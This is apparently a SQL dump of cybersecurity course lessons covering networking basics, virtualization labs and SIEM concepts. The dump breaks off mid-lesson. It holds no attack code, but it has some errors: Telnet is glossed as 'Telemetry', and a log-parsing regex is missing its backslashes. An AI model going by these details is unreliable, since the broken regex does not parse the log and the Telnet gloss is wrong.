(416, 22, '## The OSI Model\n\nThe **Open Systems Interconnection** model describes how data moves from one computer to another. It has 7 Layers.\n\"**P**lease **D**o **N**ot **T**hrow **S**ausage **P**izza **A**way\"\n\n### The Layers (Bottom Up)\n1.  **Physical (Layer 1)**: The cables, fiber optics, and radio waves (WiFi). Bits (0s and 1s).\n    *   *Device*: Hub, Cable.\n    *   *Attack*: Wiretapping, Jamming.\n2.  **Data Link (Layer 2)**: MAC Addresses (Physical usage). Switches operate here.\n    *   *Unit*: Frame.\n    *   *Attack*: ARP Spoofing.\n3.  **Network (Layer 3)**: IP Addresses (Logical usage). Routers operate here.\n    *   *Unit*: Packet.\n    *   *Attack*: Ping Flood.\n4.  **Transport (Layer 4)**: TCP/UDP. Ports. Reliability.\n    *   *Unit*: Segment.\n    *   *Attack*: SYN Flood (DoS).\n5.  **Session (Layer 5)**: Establishing and ending connections (Sessions).\n6.  **Presentation (Layer 6)**: Encryption (SSL/TLS) and formatting (JPEG/ASCII).\n7.  **Application (Layer 7)**: The software you use (HTTP, DNS, SMTP).\n\n### Interaction\nWhen you click a link:\n*   **Encapsulation**: Data goes DOWN the stack (L7 -> L1) adding headers at each layer.\n*   **Decapsulation**: Data goes UP the stack (L1 -> L7) stripping headers.', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-29 14:00:46'),
(417, 23, '## TCP/IP Protocol Suite\n\nThe ISO model is theoretical. TCP/IP is what we actually use.\n\n### TCP (Transmission Control Protocol)\n**Connection-Oriented**. \"Reliable\".\n1.  **The 3-Way Handshake**:\n    *   **SYN** (Client): \"Hi, can we talk?\"\n    *   **SYN-ACK** (Server): \"Yes, I am open.\"\n    *   **ACK** (Client): \"Great, here is data.\"\n2.  **Guarantees Delivery**: If a packet is lost, TCP resends it.\n3.  **Use Case**: Web browsing (HTTP), Email (SMTP), File Transfer (FTP). You don\'t want a missing pixel in your file.\n\n### UDP (User Datagram Protocol)\n**Connection-less**. \"Fire and Forget\".\n1.  No Handshake. No Guarantee.\n2.  The sender just blasts data. If you miss it, tough luck.\n3.  **Use Case**: Streaming Video, VoIP (Voice), DNS.\n    *   *Why?* Speed. If you drop a frame in a video, you don\'t want to pause and wait for it to resend. You just move to the next frame.\n\n### Headers\n*   **TCP Header**: Source Port, Dest Port, Sequence Number, Flags (SYN/ACK/FIN/RST).\n*   **IP Header**: Source IP, Dest IP, TTL (Time To Live).', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-29 14:00:46'),
(418, 24, '## IP Addressing\n\nEvery device needs an IP.\n*   **IPv4**: 32-bit. `192.168.1.1`. (Running out).\n*   **IPv6**: 128-bit. `2001:db8::1`. (The future).\n\n### IPv4 Classes\n*   **Class A**: `1.0.0.0` to `126.x.x.x` (Huge networks).\n*   **Class B**: `128.0.0.0` to `191.x.x.x` (Universities).\n*   **Class C**: `192.0.0.0` to `223.x.x.x` (Small networks).\n\n### Private IPs (RFC 1918)\nThese IPs do not route on the internet. Used for LANs.\n*   `10.0.0.0` - `10.255.255.255`\n*   `172.16.0.0` - `172.31.255.255`\n*   `192.168.0.0` - `192.168.255.255`\n*   **Loopback**: `127.0.0.1` (Localhost).\n\n### Subnetting (CIDR)\nSplitting a network into smaller chunks.\n*   `/24` (Subnet Mask `255.255.255.0`):\n    *   First 3 octets match (`192.168.1.x`).\n    *   Only the last octet changes.\n    *   **Hosts**: 254 usable IPs (`1-254`).\n*   `/16` (Mask `255.255.0.0`):\n    *   **Hosts**: 65,534.\n*   `/32`: A single IP.\n\n**Calculation**:\nNumber of IPs = $2^{(32 - CIDR)}$.\n*   `/30` = $2^2$ = 4 IPs. (Minus Network and Broadcast = 2 usable). Used for Router-to-Router links.', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-29 14:00:46'),
(419, 25, '## Subnetting Cheat Sheet\n\nCalculating subnets is a core skill for certifications (Network+, CCNA).\n\n### The Magic Number Method\nFind the \"Interesting Octet\" (The one where the mask is not 0 or 255).\n\n**Scenario**: Network `192.168.10.0 /26`.\n1.  **Prefix**: /26.\n2.  **Octet**: 26 is in the 4th octet (24 + 2).\n3.  **Mask**: /26 means `11000000` in binary.\n    *   `128 + 64 = 192`. So Mask is `255.255.255.192`.\n4.  **Block Size**: 256 - Mask (192) = **64**.\n\nThis means networks jump by 64.\n*   Subnet 1: `192.168.10.0` - `192.168.10.63`\n*   Subnet 2: `192.168.10.64` - `192.168.10.127`\n*   Subnet 3: `192.168.10.128` - `192.168.10.191`\n*   Subnet 4: `192.168.10.192` - `192.168.10.255`\n\n### Usable Hosts\nFormula: `Block Size - 2`.\n*   Take Subnet 1: Range 0-63.\n*   **0** is Network Address.\n*   **63** is Broadcast Address.\n*   **Usable**: 1-62.', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-29 14:00:46'),
(420, 26, '## DNS (Domain Name System)\n\nDNS turns human names (`google.com`) into computer IPs (`142.250.72.14`).\n\n### The DNS Hierarchy\n1.  **Root Hints (.)**: The 13 root servers worldwide. They know who handles `.com`, `.org`, etc.\n2.  **TLD (Top Level Domain)**: The `.com` servers. They know who handles `google.com`.\n3.  **Authoritative Name Server**: Google\'s actual server. It knows the IP.\n\n### The Resolution Process\nYou type `google.com`.\n1.  **PC**: Checks local cache / HOSTS file.\n2.  **Recursive Resolver (ISP/8.8.8.8)**: \"I don\'t know. I\'ll ask Root.\"\n3.  **Root**: \"I don\'t know, ask .COM server.\"\n4.  **.COM**: \"I don\'t know, ask ns1.google.com.\"\n5.  **ns1.google.com**: \"I know! It is 1.2.3.4.\"\n6.  **Resolver**: Caches it and gives it to PC.\n\n### Record Types\n*   **A**: IPv4.\n*   **AAAA**: IPv6.\n*   **MX**: Mail Server.\n*   **CNAME**: Alias.\n*   **PTR**: Reverse DNS (IP -> Name). Used for email filtering.\n*   **TXT**: Arbitrary text (SPF/DMARC).', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-29 14:00:46'),
(421, 27, '## DHCP and ARP\n\nHow you join a network.\n\n### DHCP (Dynamic Host Configuration Protocol)\nAutomates assigning IPs.\n**The DORA Process**:\n1.  **Discover**: Client shouts (Broadcast): \"IS ANY DHCP SERVER HERE?\"\n2.  **Offer**: Server says: \"I can give you IP `192.168.1.100`\".\n3.  **Request**: Client says: \"I will take it!\"\n4.  **Acknowledge**: Server says: \"It yours for 24 hours.\"\n\n### ARP (Address Resolution Protocol)\nMaps IP (Logic) to MAC (Physical).\n*   Switch knows MACs. Router knows IPs.\n*   When you ping `192.168.1.5` on a LAN:\n    1.  PC checks ARP Table: \"Do I know the MAC for 192.168.1.5?\"\n    2.  If No: Broadcast \"WHO HAS 192.168.1.5? TELL 192.168.1.2\".\n    3.  Device replies \"I have it! My MAC is AA:BB:CC...\".\n    4.  PC sends frame to AA:BB:CC.\n\n**ARP Spoofing (Man in the Middle)**:\nHacker replies \"I am 192.168.1.5!\" to the PC, and \"I am the Router!\" to the Gateway. Now all traffic flows through the Hacker.', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-29 14:00:46'),
(422, 28, '## Common Protocols & Ports\n\nMemorize these.\n\n| Port | Protocol | Service | Secure? |\n|---|---|---|---|\n| **20/21** | FTP | File Transfer | No (Cleartext) |\n| **22** | SSH | Secure Shell (Remote Linux) | **Yes** |\n| **23** | Telnet | Telemetry (Remote CLI) | No (Cleartext) |\n| **25** | SMTP | Email Sending | No (Use 587) |\n| **53** | DNS | Domain Name System | No (DNSSEC exists) |\n| **80** | HTTP | Web Traffic | No |\n| **443** | HTTPS | Encrypted Web Traffic | **Yes** (TLS) |\n| **110** | POP3 | Email Retrieval | No |\n| **143** | IMAP | Email Retrieval | No |\n| **3389** | RDP | Remote Desktop (Windows) | Yes |\n| **445** | SMB | Windows File Share | No (v1/v2 vulnerable) |\n\n### Traffic Analysis\n*   **Cleartext** protocols (HTTP, Telnet, FTP) show passwords in Wireshark.\n*   **Encrypted** protocols (HTTPS, SSH) show garbage characters.', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-29 14:00:46'),
(424, 30, '# Scenario: The Suspicious Login\n\n**Background**: You are a SOC Analyst. You received an alert about \"Cleartext Credentials\" on the network. You open the PCAP file in Wireshark.\n\n## Investigation Data\n*   **Packet 12**: Protocol: HTTP. Source: 192.168.1.105. Dest: 104.21.55.2.\n*   **Info**: POST /login.php HTTP/1.1\n*   **Packet 12 Details**:\n    *   Form item: \"username\" = \"admin\"\n    *   Form item: \"password\" = \"SuperSecret123\"\n\n## Analysis\n1.  The user logged into a website using **HTTP**, not HTTPS.\n2.  Because it was HTTP, the data was sent in **Plaintext**.\n3.  Anyone on the same WiFi could have captured this packet and stolen the credentials.\n\n## Mitigation\n*   Always enforce **HTTPS** (TLS/SSL).\n*   Use certificate pinning.\n*   Educate users to look for the \"Padlock\" icon.', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-26 20:53:36'),
(425, 31, '# Final Module Quiz\n\nReview the key concepts from this module:\n*   OSI Layers & TCP/IP\n*   IP Addressing & Subnets\n*   Common Protocols (SSH, HTTP, DNS)\n*   Packet Analysis Basics\n\nYou are now ready to tackle real-world networking scenarios.', 'markdown', 10, '2025-12-26 20:53:36', '2025-12-26 20:53:36'),
(434, 40, '## The CIA Triad\n\nThe cornerstone of Information Security. Every decision balances these three.\n\n1.  **Confidentiality**: Keeping secrets secret.\n    *   **Goal**: Only authorized people can read data.\n    *   **Tools**: Encryption (AES), Access Control Lists (ACLs), Steganography.\n    *   **Failure**: Data Breach (Equifax).\n2.  **Integrity**: Trusting the data.\n    *   **Goal**: Data has not been tampered with.\n    *   **Tools**: Hashing (SHA256), Digital Signatures.\n    *   **Failure**: An attacker changing a bank transfer from $10 to $10,000.\n3.  **Availability**: Accessing the data.\n    *   **Goal**: Systems are up and running.\n    *   **Tools**: Redundancy (RAID), Backups, Load Balancers.\n    *   **Failure**: DDOS Attack, Ransomware (Encrypting files makes them unavailable).\n\n### The Balancing Act\nYou cannot have 100% of all three.\n*   To make a system perfectly Confidential (unplug internet), you hurt Availability.\n*   To make it perfectly Available (Open wifi), you hurt Confidentiality.', 'markdown', 10, '2025-12-26 20:58:02', '2025-12-29 14:01:57');

INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(561, 207, '## Social Engineering Final Quiz\nTest your ability to spot the lie.', 'markdown', 15, '2025-12-26 22:28:54', '2025-12-29 14:06:41'),
(562, 211, '## Introduction to Virtualization\n\n**Virtualization** is the magic that runs the cloud.\nIt allows one physical computer (Host) to run multiple fake computers (Guests).\n\n### Physical vs Virtual\n*   **Physical**: One OS controls the hardware directly. If the OS crashes, the machine stops.\n*   **Virtual**: A **Hypervisor** sits between the hardware and the OS.\n    *   It slices the RAM (16GB -> 4GB for VM1, 4GB for VM2).\n    *   It slices the CPU time.\n\n### Why do we use it in Security?\n1.  **Isolation**: If you run malware in a VM, it cannot infect your real laptop (usually).\n2.  **Snapshots**: You can save the state. If you delete `System32` by accident, just click \"Revert\".\n3.  **Efficiency**: You can run a Windows DC, a Linux Web Server, and a Kali Attacker all on one laptop.', 'markdown', 10, '2025-12-26 22:32:26', '2025-12-29 16:32:49'),
(563, 212, '## Hypervisors: Type 1 vs Type 2\n\nThe software that runs VMs.\n\n### Type 1 (Bare Metal)\n*   **Installs**: Directly on the hardware. NO Windows/MacOS underneath.\n*   **Performance**: Extremely fast.\n*   **Usage**: Enterprise/Servers.\n*   **Examples**: VMware ESXi, Microsoft Hyper-V (Server), Proxmox.\n\n### Type 2 (Hosted)\n*   **Installs**: Like an app on your existing OS.\n*   **Performance**: Slower (overhead of the Host OS).\n*   **Usage**: Laptops/Desktops.\n*   **Examples**: VMware Workstation, Oracle VirtualBox.\n*   **Student Lab**: You will use Type 2 (VirtualBox) because you don\'t want to wipe your laptop.', 'markdown', 10, '2025-12-26 22:32:26', '2025-12-29 16:32:49'),
(564, 213, '## Setting Up VirtualBox (Free)\n\nOracle VirtualBox is the most popular free hypervisor.\n\n### Installation Steps\n1.  Download from virtualbox.org.\n2.  Install the **Extension Pack** (Critical! This gives you USB support and better drivers).\n3.  Enable **Virtualization Technology (VT-x / AMD-V)** in your BIOS.\n    *   *Error*: If you get \"Verr_VMX_No_VMX\", restart computer, go to BIOS, enable VT-x.\n\n### Common Settings\n*   **RAM**: Give it 2GB-4GB (Don\'t starve your host).\n*   **CPU**: Give it 2 Cores.\n*   **Video Memory**: Max it out (128MB) for smooth UI.', 'markdown', 10, '2025-12-26 22:32:26', '2025-12-29 16:32:49'),
(565, 214, '## VMware Workstation (Pro/Player)\n\nThe industry standard for desktop virtualization.\n\n### Benefits over VirtualBox\n*   **Better 3D Acceleration**: Smoother UI.\n*   **Unity Mode**: Run Linux apps directly on your Windows desktop window.\n*   **Compatibility**: Most enterprise appliances (OVF) are built for VMware.\n*   **Networking**: More stable NAT engine.\n\n### Free vs Pro\n*   **Player**: Free for personal use. Can run VMs. Cannot creating complicated networks.\n*   **Pro**: Paid. Full snapshot trees, Network Editor (Virtual Network Editor is powerful).', 'markdown', 10, '2025-12-26 22:32:26', '2025-12-29 14:04:25'),
(566, 215, '## Creating Your First VM (Kali Linux)\n\n**Kali Linux** is the standard OS for penetration testing.\n\n### The Easy Way (OVA)\n1.  Download the **Kali Linux VirtualBox Image** (not the ISO installer).\n2.  It comes as a `.ova` file.\n3.  Double click the file. VirtualBox imports it instantly with all settings correct.\n4.  User/Pass: `kali` / `kali`.\n\n### The Hard Way (ISO)\n1.  Create New VM \"Linux / Debian 64-bit\".\n2.  Mount the ISO file as a CD-ROM.\n3.  Boot and run the installer manually.\n*   *Why do this?* If you want a custom, lightweight install.', 'markdown', 10, '2025-12-26 22:32:26', '2025-12-29 16:32:49'),
(567, 216, '## Network Modes: NAT, Bridged, Host-Only\n\nThis confuses everyone.\n\n### 1. NAT (Default)\n*   **Analogy**: Your VM is behind a router (your Host).\n*   **Access**:\n    *   VM -> Internet: YES.\n    *   Internet -> VM: NO.\n    *   Host -> VM: NO (Tricky, requires port forwarding).\n*   *Use*: Just browsing the web.\n\n### 2. Bridged\n*   **Analogy**: Your VM plugs a cable directly into your home Wi-Fi router.\n*   **Result**: It gets its own IP on your LAN (e.g., `192.168.1.50`).\n*   **Access**: Everyone can talk to everyone.\n*   *Use*: If you want to SSH into it from another laptop.\n\n### 3. Host-Only\n*   **Analogy**: A private cable between Host and VM only. No Internet.\n*   **Access**: Extremely secure.\n*   *Use*: Malware Analysis (So the malware can\'t phone home).', 'markdown', 10, '2025-12-26 22:32:26', '2025-12-29 16:32:49'),
(568, 217, '## Snapshots & Clones (The Safety Net)\n\n### Snapshots\n*   A \"Save Game\" point.\n*   **Workflow**:\n    1.  Install Windows.\n    2.  Take Snapshot \"Fresh Install\".\n    3.  Run Ransomware. (PC destroyed).\n    4.  Revert to \"Fresh Install\". (PC fixed in 10 seconds).\n*   *Warning*: Snapshots consume disk space over time.\n\n### Clones\n*   **Full Clone**: A complete copy (takes space). Independent.\n*   **Linked Clone**: A shortcut referencing the parent. Fast, saves space, but if you delete the parent, the clone breaks.', 'markdown', 10, '2025-12-26 22:32:26', '2025-12-29 16:32:49'),
(569, 221, '## The Central Nervous System of Security\n\n**Security Information and Event Management (SIEM)** is not just a tool; it is the beating heart of a modern Security Operations Center (SOC). To understand SIEM, we must first understand the problem it solves: **Data Overload and Disconnected Visibility.**\n\n### The Pre-SIEM Nightmare\nImagine you are a security administrator in the year 2005. You are responsible for:\n*   **50 Windows Servers** (generating Windows Event Logs)\n*   **20 Linux Web Servers** (generating Syslog/Apache logs)\n*   **2 Firewalls** (generating proprietary traffic logs)\n*   **1 Antivirus Server** (generating alert logs)\n\nOne day, the CEO\'s laptop is infected with malware. To investigate, you must:\n1.  Remote Desktop into the Antivirus server to see the alert time.\n2.  SSH into the proxy server and `grep` through gigabytes of logs to see what URL the CEO visited.\n3.  Login to the Firewall web interface to see if any strange connections were made out to the internet.\n4.  RDP into the Domain Controller to see if the user account was locked out.\n\nThis process is manual, slow, and impossible to scale. A single firewall can generate **10GB of logs per day**. No human can read that. Furthermore, the \"signal\" of an attack is often split across these devices.\n\n### Enter the SIEM\nA SIEM solves this by unifying your view. It performs three critical functions, often called the \"Trinity of SIEM\":\n\n#### 1. Aggregation (Collection)\nThe SIEM reaches out and grabs logs from *everything*. It acts as a central warehouse.\n*   **Network Devices**: Switches, Routers, Firewalls send Syslog.\n*   **Endpoints**: Windows and Linux servers send OS logs.\n*   **Applications**: Web servers, databases, and custom apps send application logs.\n*   **Security Tools**: IDPS, Antivirus, and DLP solutions send alerts.\n\n#### 2. Normalization (Translation)\nThis is the \"Universal Translator\" function.\n*   **Problem**: A Windows log says `EventID: 4625` (Failed Login). A Linux log says `Failed password for user root`. A Cisco router says `%SEC-6-IPACCESSLOGP`.\n*   **Solution**: The SIEM parses these raw logs and maps them to standard fields.\n    *   `src_ip`: 192.168.1.5\n    *   `user`: admin\n    *   `action`: failure\n    *   `timestamp`: 2023-10-27T10:00:00Z\nNow, you can search for `action=failure` and see results from Windows, Linux, and Cisco all in one view.\n\n#### 3. Correlation (Intelligence)\nThis is the \"Brain\". It connects the dots between seemingly unrelated events.\n*   **Event A (Firewall)**: Inbound connection from 1.2.3.4 on Port 445 (Blocked).\n*   **Event B (VPN)**: Successful login from 1.2.3.4 (Allowed).\n*   **Event C (DC)**: User \"HelpDesk\" added to \"Domain Admins\" group.\n\nIndividually, Event B might look normal. But **Event A + Event B + Event C** appearing within 5 minutes triggers a high-severity **Correlation Rule**: \"External Attack with Privilege Escalation\".\n\n### Why is SIEM Mandatory?\n1.  **Compliance**: Regulations like **PCI-DSS**, **HIPAA**, **SOX**, and **GDPR** explicitly require centralized log management and retention. You cannot pass an audit without it.\n2.  **Forensics**: When a breach is discovered (often months after it happened), the SIEM is the *only* place where you can find historical execution records to trace the attacker\'s path.\n3.  **Real-Time Detection**: It is the only way to detect complex, multi-stage attacks (like APTs) that move laterally across your network.\n\n### The Modern Evolution: SIEM + SOAR + UEBA\nTraditional SIEM had a flaw: it generated too many alerts. Modern SIEMs are evolving into **Security Analytics Platforms**:\n*   **UEBA (User and Entity Behavior Analytics)**: Instead of static rules (\"Alert if > 5 failed logins\"), it uses Machine Learning (\"Alert because Bob never logs in at 3 AM from North Korea\").\n*   **SOAR (Security Orchestration, Automation, and Response)**: Automated actions. If the SIEM sees a virus, the SOAR automatically isolates the computer from the network.\n\n### Summary\nIf the SOC is a castle, the Firewalls are the walls, the EDR is the guards, and the **SIEM is the Watchtower** where the commander sees the entire battlefield.', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 15:04:12'),
(570, 222, '## Feeding the Beast: Log Sources & Ingestion\n\nA SIEM is only as good as the data you feed it. As the saying goes: **\"Garbage In, Garbage Out.\"** (Or worse: \"Nothing In, Blindness Out\").\n\n### Types of Log Data\nNot all logs are created equal. A SOC Analyst deals with three primary categories:\n\n#### 1. Event Logs (Structured)\nThese are logs generated by the Operating System. They are highly structured and rich in metadata.\n*   **Windows Event Logs**: The gold standard for endpoint visibility. Stored in binary `.evtx` format.\n    *   *Security*: Logins (`4624`), Process Creation (`4688`), Account Management.\n    *   *System*: Service failures, startup/shutdown.\n    *   *Application*: Errors from SQL Server, IIS, Chrome.\n*   **Linux Syslog**: The standard for Unix-based systems. Usually text-based but follows a facility/severity structure. `/var/log/auth.log` (authentication), `/var/log/syslog` (general).\n\n#### 2. Network Logs (Traffic)\nThese show the \"flow\" of data.\n*   **Firewall Logs**: Allow/Deny decisions. Crucial for perimeter defense.\n*   **NetFlow/IPFIX**: Metadata about traffic (Who, What, Where, When, How much) without the actual packet payload. \"Phone bill\" style records.\n*   **Proxy/DNS Logs**: Provide Layer 7 visibility. URLs visited (`evil.com`), DNS queries made.\n\n#### 3. Security Alerts (Context)\n*   Antivirus detections, IDS/IPS signatures (`ET TROJAN...`), DLP violations.\n\n### Ingestion Methods: Push vs. Pull\n\n#### The PUSH Method (Agents/Forwarders)\nThis is the most common and robust method for servers and endpoints. A small software agent is installed on the device.\n*   **How it works**: The agent watches log files/channels in real-time. When a new line is written, it immediately encrypts and sends it to the SIEM.\n*   **Examples**:\n    *   **Splunk Universal Forwarder (UF)**: Lightweight, reliable.\n    *   **Elastic Winlogbeat**: Sends Windows logs to Elasticsearch.\n    *   **Wazuh Agent**: Performs log collection + FIM + Config assessment.\n*   **Pros**: Real-time, encrypted, can buffer logs if the network goes down (caching).\n*   **Cons**: requires installing software on every endpoint (management overhead).\n\n#### The PULL Method (Agentless)\nUsed for devices where you cannot install software (Routers, Switches, Printers, Appliances).\n*   **WMI (Windows Management Instrumentation)**: The SIEM remotely queries the Windows server to ask for logs. *High overhead, rarely used for logs now.*\n*   **Log Collectors/Concentrators**: A dedicated server sits in the middle. Network devices verify syslog to the Collector. The Collector forwards to the SIEM.\n*   **API Fetching**: Modern Cloud method. The SIEM runs a script every 5 minutes to fetch logs from AWS CloudTrail, Office 365, or Okta APIs.\n\n### The Challenges of Ingestion\n\n#### 1. Time Synchronization (NTP)\nIf your Firewall thinks it is 2:00 PM and your Web Server thinks it is 1:00 PM, correlation is impossible. **NTP (Network Time Protocol)** is critical. All devices must sync to a central, reliable time source.\n\n#### 2. EPS (Events Per Second) & Licensing\nSIEMs are often expensive. Licensing is frequently based on:\n*   **Volume**: GBs of logs ingested per day.\n*   **EPS**: Average events per second.\nA noisy firewall in \"Debug\" mode can bankrupt a SOC by generating millions of useless events. Analysts must tune \"logging levels\" to capture *security-relevant* info without the noise.\n\n#### 3. Bandwidth\nSending full packet captures or debug logs from a satellite office over a T1 line will crash the network. Compression and filtering at the source (Agent) are vital.\n\n### Analyst Tip\nWhen investigating an incident, always ask: **\"What is NOT logging?\"** Attackers frequently disable logging (clearing Event Logs) or stop the Splunk Forwarder service as their first move. A \"Gap in Logs\" is often the biggest indicator of compromise.', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 15:04:12'),
(571, 223, '## Making Sense of Chaos: Normalization & Parsing\n\nImagine trying to read a book where every sentence is written in a different language. That is what raw logs look like to a computer.\n\n**Raw Log Example 1 (Cisco ASA Firewall):**\n`Oct 27 10:00:01 firewall-01 %ASA-6-302013: Built inbound TCP connection 1234 for outside:192.168.1.10/4444 (192.168.1.10/4444) to dmz:10.0.0.5/80 (10.0.0.5/80)`\n\n**Raw Log Example 2 (Apache Web Server):**\n`192.168.1.10 - - [27/Oct/2023:10:00:01 +0000] \"GET /index.html HTTP/1.1\" 200 2326`\n\n**Raw Log Example 3 (Windows Event 4624):**\n`Logon Type: 3, Source Network Address: 192.168.1.10, Account Name: Guest`\n\nA human can look at these and deduce that `192.168.1.10` is the \"Source IP\" in all three cases. But a computer cannot. If you search for `src_ip=192.168.1.10`, the computer won\'t find anything unless the logs are **Parsed** and **Normalized**.\n\n### The Parsing Process\nParsing is the act of breaking a raw text string into structured fields using logic (often Regular Expressions or \"Regex\").\n\n**Parsing the Apache Log:**\n*   Raw: `192.168.1.10 - - ...`\n*   Regex Rule: `^(S+) S+ S+ [([w:/]+s[+-]d{4})] \"(S+)s?(S+)?s?(S+)?\" (d{3}|-) (d+|-)`\n*   **Extracted Fields**:\n    *   client_ip: `192.168.1.10`\n    *   timestamp: `27/Oct/2023...`\n    *   method: `GET`\n    *   url: `/index.html`\n    *   status_code: `200`\n\nNow the SIEM understands the data.\n\n### Normalization: The Rosetta Stone\nParsing extracts the data, but **Normalization** standardizes the *names* of the fields.\n*   Vendor A calls it: `source_address`\n*   Vendor B calls it: `src_ip`\n*   Vendor C calls it: `ClientIP`\n*   Vendor D calls it: `c_ip`\n\nIf you are hunting for an IP, you don\'t want to run 4 different queries (`source_address=X OR src_ip=X OR...`).\nNormalization maps ALL of these to a single **Common Information Model (CIM)** field, usually `src_ip` or `source.ip`.\n\n### Why This Matters for Analysts\n1.  **Field Extraction Errors**: Sometimes parsing fails. If a developer changes the log format of an app, the SIEM might stop extracting the username. You will see the raw log, but searches for `user=\"baris\"` will return 0 results. This is a common troubleshooting task for analysts.\n2.  **Performance**: Searching based on indexed fields (`src_ip=1.2.3.4`) is milliseconds fast. Searching raw text (`\"1.2.3.4\"`) is essentially doing `Ctrl+F` on terabytes of text—it is agonizingly slow.\n3.  **Visualizations**: You cannot build a chart of \"Top 10 Bad IPs\" if the IP address isn\'t extracted into a field.\n\n### Common Schemas\n*   **Splunk CIM (Common Information Model)**: The standard for Splunk.\n*   **ECS (Elastic Common Schema)**: The standard for ELK/Elastic.\n*   **OCSF (Open Cybersecurity Schema Framework)**: An emerging open standard backed by AWS, Splunk, and IBM to unify log formats across the industry.\n\n### Scenario\nAn attacker uses a custom tool that generates logs in a format your SIEM hasn\'t seen before.\n*   **Bad Analyst**: Ignores it because it doesn\'t show up in dashboards.\n*   **Good Analyst**: Notices the raw logs, writes a custom Regex parser to extract the `Command_Line` field, and creates a new alert for it.', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 15:04:12'),
(572, 224, '## The Magic of Correlation: Finding the Needle in the Stack\n\nCorrelation is the brain of the SIEM. It is the logic engine that evaluates millions of individual events to identify patterns that indicate a security incident.\n\nWithout correlation, you just have a massive library of boring journals. Correlation is the detective reading all those journals to solve the crime.\n\n### The Logic of Correlation rules\nA correlation rule generally follows this Boolean logic structure:\n**IF** (Condition A) **AND** (Condition B) **HAPPENS WITHIN** (Time Window T) **THEN** (Trigger Alert).\n\n#### Example 1: Brute Force Detection\n*   **Raw Event**: Windows Event 4625 (Failed Login).\n*   **Problem**: Users mistype passwords all the time. One event is noise.\n*   **Correlation Rule**:\n    *   `event_id=4625` (Failed Login)\n    *   `count > 10`\n    *   `distinct_destination_user < 2` (Standard Brute force) OR `distinct_destination_user > 10` (Password Spraying)\n    *   `time_window = 5 minutes`\n*   **Meaning**: If the same IP fails to login 10 times in 5 minutes, ALERT.\n\n#### Example 2: The \"Impossible Travel\"\n*   **Event A**: User \"Alice\" logs in from New York (IP 1.2.3.4) at 10:00 AM.\n*   **Event B**: User \"Alice\" logs in from London (IP 5.6.7.8) at 10:15 AM.\n*   **Logic**: Distance between NY and London is 3,400 miles. It is impossible to travel that fast.\n*   **Rule**: IF (Login A success) AND (Login B success) AND (GeoIP distance > 500 miles) AND (Time difference < Flight time) -> ALERT.\n\n#### Example 3: Behavioral Chain (The Kill Chain)\n*   **Step 1**: Firewall detects Port Scan from IP X.\n*   **Step 2**: IDS detects SQL Injection attempt from IP X.\n*   **Step 3**: Web Server records 200 OK (Success) for a large file download to IP X.\n*   **Correlation**: Trigger \"Critical Compromise\" alert. A single IP scanned, exploited, and stole data.\n\n### Tuning: The Analyst\'s Nightmare\nCorrelation rules are prone to two deadly sins:\n\n#### 1. False Positives (The Boy Who Cried Wolf)\nThe rule alerts, but it\'s benign activity.\n*   *Alert*: \"Brute Force Detected!\"\n*   *Reality*: A script running on a server had an expired password and tried to retry connection 50 times in a second.\n*   *Consequence*: Alert Fatigue. Analysts stop paying attention to alerts if 90% are fake.\n\n#### 2. False Negatives (The Silent Killer)\nThe attack happens, but the rule doesn\'t trigger.\n*   *Attack*: Low-and-slow brute force. The attacker tries 1 password every hour.\n*   *Rule Limitation*: The rule was set to \"10 attempts in 5 minutes\". It missed the attack completely.\n*   *Consequence*: Breach.\n\n### Dynamic vs. Static Correlation\n*   **Static**: Rules we explicitly write (`count > 10`). Good for known threats.\n*   **Dynamic (Heuristic/Behavioral)**: The system learns what is \"normal\".\n    *   \"Alice usually downloads 50MB of data a day. Today she downloaded 5GB. ALERT.\"\n    *   This catches \"unknown unknowns\" or zero-days that don\'t match a signature.\n\n### The Role of Context\nCorrelation gets smarter with context.\n*   *Event*: \"Attack from External IP detected against Server A.\"\n*   *Context*: \"Server A is a test server with no sensitive data.\" -> **Low Severity**.\n*   *Context*: \"Server A is the CEO\'s laptop.\" -> **High Severity**.\n*   *Context*: \"Vulnerability Scanner says Server A is patched against this attack.\" -> **False Positive (mostly)**.\n\nA modern SIEM integrates with Asset Management and Vulnerability Scanners to enrich alerts with this context automatically.', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 15:04:12'),
(573, 225, '## Market Leaders: Splunk vs. Microsoft Sentinel\n\nIn the SIEM world, there are many players, but two dominate the enterprise space in 2024: **Splunk** and **Microsoft Sentinel**. As an analyst, you will likely work with one of these.\n\n### Splunk: The Heavyweight Champion\n\n**Splunk** is the \"Google for Data\". It started as a log search tool and evolved into a massive Security analytics platform.\n\n#### Key Features\n*   **SPL (Splunk Processing Language)**: A powerful, pipe-based query language (similar to Unix piping).\n    *   `index=firewall src_ip=10.0.0.1 | stats count by dest_port | sort - count`\n    *   Mastering SPL is a resume superpower.\n*   **Schema on Read**: Splunk doesn\'t need to understand the data structure *when it indexes it*. You can define fields later during the search. This is incredibly flexible.\n*   **Ecosystem**: Thousands of \"Apps\" and \"Add-ons\" for every vendor imaginable.\n\n#### Pros & Cons\n*   [+] **Mature**: Extensive documentation, community, and feature set.\n*   [+] **Flexible**: Can handle any type of data, not just security (DevOps, Business Analytics).\n*   [-] **Cost**: Historically very expensive (often charged by GB ingested).\n*   [-] **Complexity**: Requires dedicated engineers to manage the infrastructure (Indexers, Search Heads, Forwarders).\n\n### Microsoft Sentinel: The Cloud Native Challenger\n\n**Microsoft Sentinel** (formerly Azure Sentinel) is a cloud-native SIEM + SOAR solution built directly into Azure.\n\n#### Key Features\n*   **KQL (Kusto Query Language)**: The query language used by Sentinel. It is extremely fast, especially on large datasets.\n    *   `FirewallLogs | where SourceIP == \"10.0.0.1\" | summarize count() by DestinationPort | order by count_ desc`\n*   **Cloud Native**: No servers to manage. You don\'t patch Sentinel; you just enable it. It scales elastically.\n*   **Microsoft Integration**: Ingesting logs from Office 365, Azure AD 